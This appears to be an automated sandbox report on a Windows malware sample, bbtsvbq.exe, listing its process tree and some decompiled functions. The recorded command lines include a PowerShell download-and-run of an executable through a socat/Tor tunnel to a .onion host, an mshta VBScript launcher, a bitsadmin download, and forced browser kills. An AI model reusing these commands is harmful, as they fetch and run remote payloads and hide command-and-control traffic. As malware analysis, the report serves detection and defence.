Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: cmd.exe PID: 3788 Parent PID: 3724

General

Start time:	12:34:10
Start date:	27/11/2017
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\cmd.exe' /c powershell -ep Unrestricted -f 'C:\ProgramData\C4CqRww6.ps1' \| find /v '' >> 'C:\Users\user~1\AppData\Local\Temp\user-PC.log'
Imagebase:	0x75cd0000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: powershell.exe PID: 3816 Parent PID: 3788

General

Start time:	12:34:11
Start date:	27/11/2017
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -ep Unrestricted -f 'C:\ProgramData\C4CqRww6.ps1'
Imagebase:	0x77cc0000
File size:	452608 bytes
MD5 hash:	92F44E405DB16AC55D97E3BFE3B132FA
Programmed in:	.Net C# or VB.NET
Reputation:	high

Analysis Process: find.exe PID: 3824 Parent PID: 3788

General

Start time:	12:34:11
Start date:	27/11/2017
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /v ''
Imagebase:	0x75cd0000
File size:	13824 bytes
MD5 hash:	5816034B0B629756163B80838853B730
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: 7za.exe PID: 3896 Parent PID: 3816

General

Start time:	12:34:29
Start date:	27/11/2017
Path:	C:\ProgramData\7za.exe
Wow64 process (32bit):	false
Commandline:	'C:\ProgramData\7za.exe' x -o'C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ' -y 'C:\Users\user~1\AppData\Local\Temp\QKB6w.zip'
Imagebase:	0x77b50000
File size:	587776 bytes
MD5 hash:	42BADC1D2F03A8B1E4875740D3D49336
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: cmd.exe PID: 3924 Parent PID: 3816

General

Start time:	12:34:36
Start date:	27/11/2017
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\system32\cmd.exe' /b /c bitsadmin /transfer /download /priority HIGH 'https://torproject.urown.net/dist/torbrowser/7.0.8/tor-win32-0.3.1.7.zip' 'C:\Users\user~1\AppData\Local\Temp\8LtgeHPulp.zip'
Imagebase:	0x75cd0000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: bitsadmin.exe PID: 3948 Parent PID: 3924

General

Start time:	12:34:36
Start date:	27/11/2017
Path:	C:\Windows\System32\bitsadmin.exe
Wow64 process (32bit):	false
Commandline:	bitsadmin /transfer /download /priority HIGH 'https://torproject.urown.net/dist/torbrowser/7.0.8/tor-win32-0.3.1.7.zip' 'C:\Users\user~1\AppData\Local\Temp\8LtgeHPulp.zip'
Imagebase:	0x77c20000
File size:	186368 bytes
MD5 hash:	0920B14AA67A8B04ACF48FFE7C6F0927
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: 7za.exe PID: 3976 Parent PID: 3816

General

Start time:	12:34:54
Start date:	27/11/2017
Path:	C:\ProgramData\7za.exe
Wow64 process (32bit):	false
Commandline:	'C:\ProgramData\7za.exe' x -o'C:\ProgramData\VitBTKxRu' -y 'C:\Users\user~1\AppData\Local\Temp\8LtgeHPulp.zip'
Imagebase:	0x77b50000
File size:	587776 bytes
MD5 hash:	42BADC1D2F03A8B1E4875740D3D49336
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: taskeng.exe PID: 3996 Parent PID: 868

General

Start time:	12:34:55
Start date:	27/11/2017
Path:	C:\Windows\System32\taskeng.exe
Wow64 process (32bit):	false
Commandline:	taskeng.exe {7FB8942A-D520-4069-87A1-8D11961A18B0} S-1-5-21-312302014-279660585-3511680526-1005:user-PC\user:Interactive:[1]
Imagebase:	0x75f00000
File size:	192000 bytes
MD5 hash:	4F2659160AFCCA990305816946F69407
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: mshta.exe PID: 4028 Parent PID: 3996

General

Start time:	12:34:55
Start date:	27/11/2017
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	mshta.exe vbscript:close(CreateObject('WScript.Shell').Run('tor.exe',0,False))
Imagebase:	0x77cc0000
File size:	13312 bytes
MD5 hash:	ABDFC692D9FE43E2BA8FE6CB5A8CB95A
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: tor.exe PID: 4084 Parent PID: 4028

General

Start time:	12:34:57
Start date:	27/11/2017
Path:	C:\ProgramData\VitBTKxRu\Tor\tor.exe
Wow64 process (32bit):	false
Commandline:	'C:\ProgramData\VitBTKxRu\Tor\tor.exe'
Imagebase:	0x77cc0000
File size:	3409408 bytes
MD5 hash:	D285E74CE4577240F76B4499CAD36ED2
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: 7za.exe PID: 2292 Parent PID: 3816

General

Start time:	12:35:04
Start date:	27/11/2017
Path:	C:\ProgramData\7za.exe
Wow64 process (32bit):	false
Commandline:	'C:\ProgramData\7za.exe' x -o'C:\ProgramData\VitBTKxRu' -y 'C:\Users\user~1\AppData\Local\Temp\sX7raTm2LP.zip'
Imagebase:	0x77b50000
File size:	587776 bytes
MD5 hash:	42BADC1D2F03A8B1E4875740D3D49336
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: mshta.exe PID: 2268 Parent PID: 3996

General

Start time:	12:35:05
Start date:	27/11/2017
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	mshta.exe vbscript:close(CreateObject('WScript.Shell').Run('socat tcp4-LISTEN:5555,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:y6r2er4d6iyyrbzl.onion:80,socksport=9050',0,False))
Imagebase:	0x77cc0000
File size:	13312 bytes
MD5 hash:	ABDFC692D9FE43E2BA8FE6CB5A8CB95A
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: mshta.exe PID: 2692 Parent PID: 3996

General

Start time:	12:35:06
Start date:	27/11/2017
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	mshta.exe vbscript:close(CreateObject('WScript.Shell').Run('socat tcp4-LISTEN:5588,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:y6r2er4d6iyyrbzl.onion:5588,socksport=9050',0,False))
Imagebase:	0x77cc0000
File size:	13312 bytes
MD5 hash:	ABDFC692D9FE43E2BA8FE6CB5A8CB95A
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: mshta.exe PID: 2640 Parent PID: 3996

General

Start time:	12:35:08
Start date:	27/11/2017
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	mshta.exe vbscript:close(CreateObject('WScript.Shell').Run('powershell.exe ''$F=$env:Temp+'\\xeAcHBDS.exe';rm -Force $F;$cl=(New-Object Net.WebClient);$cl.DownloadFile('http://127.0.0.1:5555/0dTRgfA.asp?ts&ip='+$cl.Download'+'String('http://api.ipify.org/'),$F);& $F''',0,False))
Imagebase:	0x77cc0000
File size:	13312 bytes
MD5 hash:	ABDFC692D9FE43E2BA8FE6CB5A8CB95A
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: socat.exe PID: 2124 Parent PID: 2692

General

Start time:	12:35:09
Start date:	27/11/2017
Path:	C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe
Wow64 process (32bit):	false
Commandline:	'C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe' tcp4-LISTEN:5588,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:y6r2er4d6iyyrbzl.onion:5588,socksport=9050
Imagebase:	0x75cd0000
File size:	366575 bytes
MD5 hash:	766E8642435B47F71DE8C5BF71387F5A
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: socat.exe PID: 2280 Parent PID: 2268

General

Start time:	12:36:07
Start date:	27/11/2017
Path:	C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe
Wow64 process (32bit):	false
Commandline:	'C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe' tcp4-LISTEN:5555,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:y6r2er4d6iyyrbzl.onion:80,socksport=9050
Imagebase:	0x75cd0000
File size:	366575 bytes
MD5 hash:	766E8642435B47F71DE8C5BF71387F5A
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: powershell.exe PID: 2380 Parent PID: 2640

General

Start time:	12:36:09
Start date:	27/11/2017
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' '$F=$env:Temp+'\\xeAcHBDS.exe';rm -Force $F;$cl=(New-Object Net.WebClient);$cl.DownloadFile('http://127.0.0.1:5555/0dTRgfA.asp?ts&ip='+$cl.DownloadString('http://api.ipify.org/'),$F);& $F'
Imagebase:	0x77cc0000
File size:	452608 bytes
MD5 hash:	92F44E405DB16AC55D97E3BFE3B132FA
Programmed in:	.Net C# or VB.NET
Reputation:	high

Analysis Process: taskkill.exe PID: 2136 Parent PID: 3724

General

Start time:	12:36:12
Start date:	27/11/2017
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\taskkill.exe' /F /im iexplore.exe
Imagebase:	0x75cd0000
File size:	77824 bytes
MD5 hash:	94BDCAFBD584C979B385ADEE14B08AB4
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: taskkill.exe PID: 2152 Parent PID: 3724

General

Start time:	12:36:12
Start date:	27/11/2017
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\taskkill.exe' /F /im firefox.exe
Imagebase:	0x75cd0000
File size:	77824 bytes
MD5 hash:	94BDCAFBD584C979B385ADEE14B08AB4
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: taskkill.exe PID: 2608 Parent PID: 3724

General

Start time:	12:36:13
Start date:	27/11/2017
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\taskkill.exe' /F /im chrome.exe
Imagebase:	0x77cc0000
File size:	77824 bytes
MD5 hash:	94BDCAFBD584C979B385ADEE14B08AB4
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: cmd.exe PID: 2572 Parent PID: 3724

General

Start time:	12:36:13
Start date:	27/11/2017
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\cmd.exe' /c powershell -ep Unrestricted -f 'C:\Users\user~1\AppData\Local\Temp\3s7V1nHq.ps1' \| find /v '' >> 'C:\Users\user~1\AppData\Local\Temp\user-PC.log'
Imagebase:	0x77b50000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: powershell.exe PID: 2092 Parent PID: 2572

General

Start time:	12:36:18
Start date:	27/11/2017
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -ep Unrestricted -f 'C:\Users\user~1\AppData\Local\Temp\3s7V1nHq.ps1'
Imagebase:	0x77cc0000
File size:	452608 bytes
MD5 hash:	92F44E405DB16AC55D97E3BFE3B132FA
Programmed in:	.Net C# or VB.NET
Reputation:	high

Analysis Process: find.exe PID: 2320 Parent PID: 2572

General

Start time:	12:36:18
Start date:	27/11/2017
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /v ''
Imagebase:	0x77b50000
File size:	13824 bytes
MD5 hash:	5816034B0B629756163B80838853B730
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: csc.exe PID: 2364 Parent PID: 2092

General

Start time:	12:36:21
Start date:	27/11/2017
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\9kehql3e.cmdline'
Imagebase:	0x77cc0000
File size:	77960 bytes
MD5 hash:	0A1C81BDCB030222A0B0A652B2C89D8D
Programmed in:	.Net C# or VB.NET
Reputation:	moderate

Analysis Process: cvtres.exe PID: 2248 Parent PID: 2364

General

Start time:	12:36:21
Start date:	27/11/2017
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user~1\AppData\Local\Temp\RES8E7D.tmp' 'c:\Users\user\AppData\Local\Temp\CSC8E0E.tmp'
Imagebase:	0x75ac0000
File size:	32912 bytes
MD5 hash:	200FC355F85ECD4DB77FB3CAB2D01364
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: cmd.exe PID: 2896 Parent PID: 3724

General

Start time:	12:36:27
Start date:	27/11/2017
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\cmd.exe' /c powershell -ep Unrestricted -f 'C:\Users\user~1\AppData\Local\Temp\U5f96EAq.ps1' \| find /v '' >> 'C:\Users\user~1\AppData\Local\Temp\user-PC.log'
Imagebase:	0x75cd0000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: bbtsvbq.exe PID: 3724 Parent PID: 3124

Execution Graph

Execution Coverage:	7.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.4%
Total number of Nodes:	1897
Total number of Limit Nodes:	19

Executed Functions

Function 013B1160, Relevance: 6.1, APIs: 4, Instructions: 85

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 32%

			E013B1160(intOrPtr* __ecx, void* __eflags) {
				signed int _t32;
				intOrPtr _t34;
				void* _t40;
				intOrPtr* _t41;
				intOrPtr* _t48;
				intOrPtr* _t49;
				signed char _t51;
				void* _t52;
				signed int _t60;
				intOrPtr* _t64;
				void* _t67;
				intOrPtr* _t68;
				intOrPtr* _t69;
				void* _t70;
				intOrPtr _t76;

				_t49 = __ecx;
				E013BC3C0(E013BD101);
				_t48 = _t49;
				 *((intOrPtr*)(_t70 - 0x14)) = _t48;
				 *_t48 = 0x13d78d0;
				 *((intOrPtr*)(_t70 - 0x2c)) = _t48;
				 *((intOrPtr*)(_t48 + 8)) = 0;
				 *((intOrPtr*)(_t70 - 4)) = 0;
				 *((intOrPtr*)(_t48 + 0xc)) = 0;
				 *((char*)(_t70 - 4)) = 1;
				 *((intOrPtr*)(_t48 + 4)) = 1;
				__imp__CoInitializeEx(0, 0, 0x20); // executed
				 *((intOrPtr*)(_t70 - 0x18)) = 0x808699df;
				_t51 = 0;
				 *((intOrPtr*)(_t70 - 0x14)) = 0x8a8c90;
				do {
					_t32 = 0xffffff95;
					 *(_t70 + _t51 - 0x18) =  *(_t70 + _t51 - 0x18) ^ _t32 >> _t51;
					_t51 = _t51 + 1;
				} while (_t51 < 7);
				_t64 = _t70 - 0x18;
				 *((char*)(_t70 - 0x11)) = 0;
				_t16 = _t64 + 1; // 0x808699e0
				_t52 = _t16;
				do {
					_t34 =  *_t64;
					_t64 = _t64 + 1;
					_t76 = _t34;
				} while (_t76 != 0);
				_t60 = 2;
				_t67 = E013B17EE(_t48,  ~(_t76 > 0) | (_t64 - _t52 + 0x00000001) * _t60, (_t64 - _t52 + 1) * _t60 >> 0x20, _t64 - _t52 + 1, _t76);
				E013B46E8(_t67, _t70 - 0x18, _t64 - _t52 + 1);
				_t40 = _t70 - 0x28;
				__imp__CLSIDFromProgID(_t67, _t40,  ~(_t76 > 0) | (_t64 - _t52 + 0x00000001) * _t60); // executed
				_t68 = _t48 + 8;
				if(_t40 >= 0) {
					__imp__CoCreateInstance(_t70 - 0x28, 0, 0x17, 0x13d78bc, _t68); // executed
				}
				_t41 =  *_t68;
				 *((intOrPtr*)( *_t41 + 0xc))(_t41, _t48);
				_t69 = _t48 + 0xc;
				 *((intOrPtr*)( *((intOrPtr*)( *_t68))))(0x13d78ac, _t69);
				 *((intOrPtr*)( *((intOrPtr*)( *_t69)) + 0xc))();
				return E013BC37B(_t48,  *_t69,  *_t68);
			}

0x013b1160
0x013b1167
0x013b116c
0x013b116e
0x013b1173
0x013b1179
0x013b117c
0x013b117f
0x013b1182
0x013b1186
0x013b118b
0x013b1192
0x013b1198
0x013b119f
0x013b11a1
0x013b11a8
0x013b11aa
0x013b11ad
0x013b11b1
0x013b11b2
0x013b11b7
0x013b11ba
0x013b11be
0x013b11be
0x013b11c1
0x013b11c1
0x013b11c3
0x013b11c4
0x013b11c4
0x013b11cf
0x013b11e1
0x013b11e9
0x013b11f1
0x013b11f6
0x013b11fc
0x013b1201
0x013b1211
0x013b1211
0x013b1217
0x013b121d
0x013b1222
0x013b122e
0x013b1235
0x013b123f

APIs

__EH_prolog3_GS.LIBCMT ref: 013B1167
CoInitializeEx.OLE32(00000000,00000000), ref: 013B1192
CLSIDFromProgID.OLE32(00000000,?), ref: 013B11F6
CoCreateInstance.OLE32(?,00000000,00000017,013D78BC,?), ref: 013B1211

Memory Dump Source

Source File: 00000001.00000002.973367977.013B1000.00000020.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000001.00000002.973355323.013B0000.00000002.sdmp
Associated: 00000001.00000002.973381763.013BE000.00000002.sdmp
Associated: 00000001.00000002.973394414.013D9000.00000004.sdmp
Associated: 00000001.00000002.973406765.013DB000.00000008.sdmp
Associated: 00000001.00000002.973417015.013DC000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_13b0000_bbtsvbq.jbxd

Function 013B1CBB, Relevance: 1.5, APIs: 1, Instructions: 3

C-Code - Quality: 100%

			E013B1CBB() {
				_Unknown_base(*)()* _t1;

				_t1 = SetUnhandledExceptionFilter(E013B1CC7); // executed
				return _t1;
			}

0x013b1cc0
0x013b1cc6

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00001CC7), ref: 013B1CC0

Memory Dump Source

Source File: 00000001.00000002.973367977.013B1000.00000020.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000001.00000002.973355323.013B0000.00000002.sdmp
Associated: 00000001.00000002.973381763.013BE000.00000002.sdmp
Associated: 00000001.00000002.973394414.013D9000.00000004.sdmp
Associated: 00000001.00000002.973406765.013DB000.00000008.sdmp
Associated: 00000001.00000002.973417015.013DC000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_13b0000_bbtsvbq.jbxd

Function 013B8E42, Relevance: 9.2, APIs: 6, Instructions: 216

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E013B8E42(void* __ecx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, char* _a16, int _a20, intOrPtr _a24, short* _a28, int _a32, intOrPtr _a36) {
				signed int _v8;
				int _v12;
				void* _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t49;
				signed int _t54;
				int _t58;
				signed int _t60;
				short* _t62;
				signed int _t66;
				short* _t70;
				int _t71;
				int _t78;
				void* _t80;
				short* _t81;
				signed int _t87;
				signed int _t90;
				void* _t95;
				int _t97;
				void* _t98;
				short* _t100;
				int _t102;
				void* _t103;
				signed int _t105;
				short* _t106;
				void* _t109;

				_push(__ecx);
				_push(__ecx);
				_t49 =  *0x13d900c; // 0x8ae99929
				_v8 = _t49 ^ _t105;
				_t102 = _a20;
				if(_t102 > 0) {
					_t78 = E013B9BB5(_a16, _t102);
					_t109 = _t78 - _t102;
					_t4 = _t78 + 1; // 0x1
					_t102 = _t4;
					if(_t109 >= 0) {
						_t102 = _t78;
					}
				}
				_t97 = _a32;
				if(_t97 == 0) {
					_t97 =  *( *_a4 + 8);
					_a32 = _t97;
				}
				_t54 = MultiByteToWideChar(_t97, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t102, 0, 0);
				_v12 = _t54;
				if(_t54 == 0) {
					L38:
					_pop(_t98);
					_pop(_t103);
					_pop(_t80);
					return E013B143B(_t80, _v8 ^ _t105, _t95, _t98, _t103);
				} else {
					_t95 = _t54 + _t54;
					_t85 = _t95 + 8;
					asm("sbb eax, eax");
					if((_t95 + 0x00000008 & _t54) == 0) {
						_t81 = 0;
						__eflags = 0;
						L14:
						if(_t81 == 0) {
							L36:
							_t104 = 0;
							L37:
							E013B85AF(_t81);
							goto L38;
						}
						_t58 = MultiByteToWideChar(_t97, 1, _a16, _t102, _t81, _v12);
						_t120 = _t58;
						if(_t58 == 0) {
							goto L36;
						}
						_t99 = _v12;
						_t60 = E013B6ABB(_t81, _t85, _v12, _t120, _a8, _a12, _t81, _v12, 0, 0, 0, 0, 0); // executed
						_t104 = _t60;
						if(_t104 == 0) {
							goto L36;
						}
						if((_a12 & 0x00000400) == 0) {
							_t95 = _t104 + _t104;
							_t87 = _t95 + 8;
							__eflags = _t95 - _t87;
							asm("sbb eax, eax");
							__eflags = _t87 & _t60;
							if((_t87 & _t60) == 0) {
								_t100 = 0;
								__eflags = 0;
								L30:
								__eflags = _t100;
								if(__eflags == 0) {
									L35:
									E013B85AF(_t100);
									goto L36;
								}
								_t62 = E013B6ABB(_t81, _t87, _t100, __eflags, _a8, _a12, _t81, _v12, _t100, _t104, 0, 0, 0);
								__eflags = _t62;
								if(_t62 == 0) {
									goto L35;
								}
								_push(0);
								_push(0);
								__eflags = _a28;
								if(_a28 != 0) {
									_push(_a28);
									_push(_a24);
								} else {
									_push(0);
									_push(0);
								}
								_t104 = WideCharToMultiByte(_a32, 0, _t100, _t104, ??, ??, ??, ??);
								__eflags = _t104;
								if(_t104 != 0) {
									E013B85AF(_t100);
									goto L37;
								} else {
									goto L35;
								}
							}
							_t90 = _t95 + 8;
							__eflags = _t95 - _t90;
							asm("sbb eax, eax");
							_t66 = _t60 & _t90;
							_t87 = _t95 + 8;
							__eflags = _t66 - 0x400;
							if(_t66 > 0x400) {
								__eflags = _t95 - _t87;
								asm("sbb eax, eax");
								_t100 = E013B5D41(_t87, _t66 & _t87);
								_pop(_t87);
								__eflags = _t100;
								if(_t100 == 0) {
									goto L35;
								}
								 *_t100 = 0xdddd;
								L28:
								_t100 =  &(_t100[4]);
								goto L30;
							}
							__eflags = _t95 - _t87;
							asm("sbb eax, eax");
							E013BC7C0();
							_t100 = _t106;
							__eflags = _t100;
							if(_t100 == 0) {
								goto L35;
							}
							 *_t100 = 0xcccc;
							goto L28;
						}
						_t70 = _a28;
						if(_t70 == 0) {
							goto L37;
						}
						_t124 = _t104 - _t70;
						if(_t104 > _t70) {
							goto L36;
						}
						_t71 = E013B6ABB(_t81, 0, _t99, _t124, _a8, _a12, _t81, _t99, _a24, _t70, 0, 0, 0);
						_t104 = _t71;
						if(_t71 != 0) {
							goto L37;
						}
						goto L36;
					}
					asm("sbb eax, eax");
					_t72 = _t54 & _t95 + 0x00000008;
					_t85 = _t95 + 8;
					if((_t54 & _t95 + 0x00000008) > 0x400) {
						__eflags = _t95 - _t85;
						asm("sbb eax, eax");
						_t81 = E013B5D41(_t85, _t72 & _t85);
						_pop(_t85);
						__eflags = _t81;
						if(__eflags == 0) {
							goto L36;
						}
						 *_t81 = 0xdddd;
						L12:
						_t81 =  &(_t81[4]);
						goto L14;
					}
					asm("sbb eax, eax");
					E013BC7C0();
					_t81 = _t106;
					if(_t81 == 0) {
						goto L36;
					}
					 *_t81 = 0xcccc;
					goto L12;
				}
			}

0x013b8e47
0x013b8e48
0x013b8e49
0x013b8e50
0x013b8e55
0x013b8e5b
0x013b8e61
0x013b8e67
0x013b8e6a
0x013b8e6a
0x013b8e6d
0x013b8e6f
0x013b8e6f
0x013b8e6d
0x013b8e71
0x013b8e76
0x013b8e7d
0x013b8e80
0x013b8e80
0x013b8e9c
0x013b8ea2
0x013b8ea7
0x013b903a
0x013b903d
0x013b903e
0x013b903f
0x013b904d
0x013b8ead
0x013b8ead
0x013b8eb0
0x013b8eb5
0x013b8eb9
0x013b8f0d
0x013b8f0d
0x013b8f0f
0x013b8f11
0x013b902f
0x013b902f
0x013b9031
0x013b9032
0x00000000
0x013b9038
0x013b8f22
0x013b8f28
0x013b8f2a
0x00000000
0x00000000
0x013b8f30
0x013b8f42
0x013b8f47
0x013b8f4b
0x00000000
0x00000000
0x013b8f58
0x013b8f92
0x013b8f95
0x013b8f98
0x013b8f9a
0x013b8f9c
0x013b8f9e
0x013b8fea
0x013b8fea
0x013b8fec
0x013b8fec
0x013b8fee
0x013b9028
0x013b9029
0x00000000
0x013b902e
0x013b9002
0x013b9007
0x013b9009
0x00000000
0x00000000
0x013b900d
0x013b900e
0x013b900f
0x013b9012
0x013b904e
0x013b9051
0x013b9014
0x013b9014
0x013b9015
0x013b9015
0x013b9022
0x013b9024
0x013b9026
0x013b9057
0x00000000
0x00000000
0x00000000
0x00000000
0x013b9026
0x013b8fa0
0x013b8fa3
0x013b8fa5
0x013b8fa7
0x013b8fa9
0x013b8fac
0x013b8fb1
0x013b8fcc
0x013b8fce
0x013b8fd8
0x013b8fda
0x013b8fdb
0x013b8fdd
0x00000000
0x00000000
0x013b8fdf
0x013b8fe5
0x013b8fe5
0x00000000
0x013b8fe5
0x013b8fb3
0x013b8fb5
0x013b8fb9
0x013b8fbe
0x013b8fc0
0x013b8fc2
0x00000000
0x00000000
0x013b8fc4
0x00000000
0x013b8fc4
0x013b8f5a
0x013b8f5f
0x00000000
0x00000000
0x013b8f65
0x013b8f67
0x00000000
0x00000000
0x013b8f7e
0x013b8f83
0x013b8f87
0x00000000
0x00000000
0x00000000
0x013b8f8d
0x013b8ec0
0x013b8ec2
0x013b8ec4
0x013b8ecc
0x013b8eeb
0x013b8eed
0x013b8ef7
0x013b8ef9
0x013b8efa
0x013b8efc
0x00000000
0x00000000
0x013b8f02
0x013b8f08
0x013b8f08
0x00000000
0x013b8f08
0x013b8ed0
0x013b8ed4
0x013b8ed9
0x013b8edd
0x00000000
0x00000000
0x013b8ee3
0x00000000
0x013b8ee3

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00000100,013B7947,00000000,?,?,?,013B9093,?,?,00000100), ref: 013B8E9C
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?,?,?,?,013B9093,?,?,00000100,?,?,?), ref: 013B8F22

Part of subcall function 013B6ABB: LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,00000100,?,5EFC4D8B,00000000), ref: 013B6B2C

Part of subcall function 013B5D41: RtlAllocateHeap.NTDLL(00000000,?,?,?,013B1571,?,?,013B10E9,00000001), ref: 013B5D73

WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,00000100,?,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 013B901C
__freea.LIBCMT ref: 013B9029
__freea.LIBCMT ref: 013B9032

Part of subcall function 013B143B: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 013B1A7D

__freea.LIBCMT ref: 013B9057

Memory Dump Source

Source File: 00000001.00000002.973367977.013B1000.00000020.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000001.00000002.973355323.013B0000.00000002.sdmp
Associated: 00000001.00000002.973381763.013BE000.00000002.sdmp
Associated: 00000001.00000002.973394414.013D9000.00000004.sdmp
Associated: 00000001.00000002.973406765.013DB000.00000008.sdmp
Associated: 00000001.00000002.973417015.013DC000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_13b0000_bbtsvbq.jbxd

Function 013B35D4, Relevance: 6.1, APIs: 4, Instructions: 54

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 65%

			E013B35D4(signed int _a4) {
				void* _t10;
				void* _t13;
				signed int _t15;
				signed int _t21;
				WCHAR* _t22;
				signed int* _t25;
				void* _t27;

				_t21 = _a4;
				_t25 = 0x13d9c48 + _t21 * 4;
				asm("lock cmpxchg [edi], ecx");
				if(0 == 0) {
					_t22 =  *(0x13be354 + _t21 * 4);
					_t10 = LoadLibraryExW(_t22, 0, 0x800); // executed
					_t27 = _t10;
					if(_t27 != 0) {
						L8:
						 *_t25 = _t27;
						if( *_t25 != 0) {
							FreeLibrary(_t27);
						}
						_t13 = _t27;
						L11:
						return _t13;
					}
					_t15 = GetLastError();
					if(_t15 != 0x57) {
						_t27 = 0;
					} else {
						_t15 = LoadLibraryExW(_t22, _t27, _t27);
						_t27 = _t15;
					}
					if(_t27 != 0) {
						goto L8;
					} else {
						 *_t25 = _t15 | 0xffffffff;
						_t13 = 0;
						goto L11;
					}
				}
				asm("sbb eax, eax");
				return  ~0x00000001 & 0;
			}

0x013b35d8
0x013b35e0
0x013b35e7
0x013b35ef
0x013b35fc
0x013b360c
0x013b3612
0x013b3616
0x013b363f
0x013b3641
0x013b3645
0x013b3648
0x013b3648
0x013b364e
0x013b3650
0x00000000
0x013b3650
0x013b3618
0x013b3621
0x013b3630
0x013b3623
0x013b3626
0x013b362c
0x013b362c
0x013b3634
0x00000000
0x013b3636
0x013b3639
0x013b363b
0x00000000
0x013b363b
0x013b3634
0x013b35f6
0x00000000

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,00000800,?,013D9CA4,?,?,013B357B,?,013D9CA4,00000000,?,?,013B375A,00000008,InitializeCriticalSectionEx), ref: 013B360C
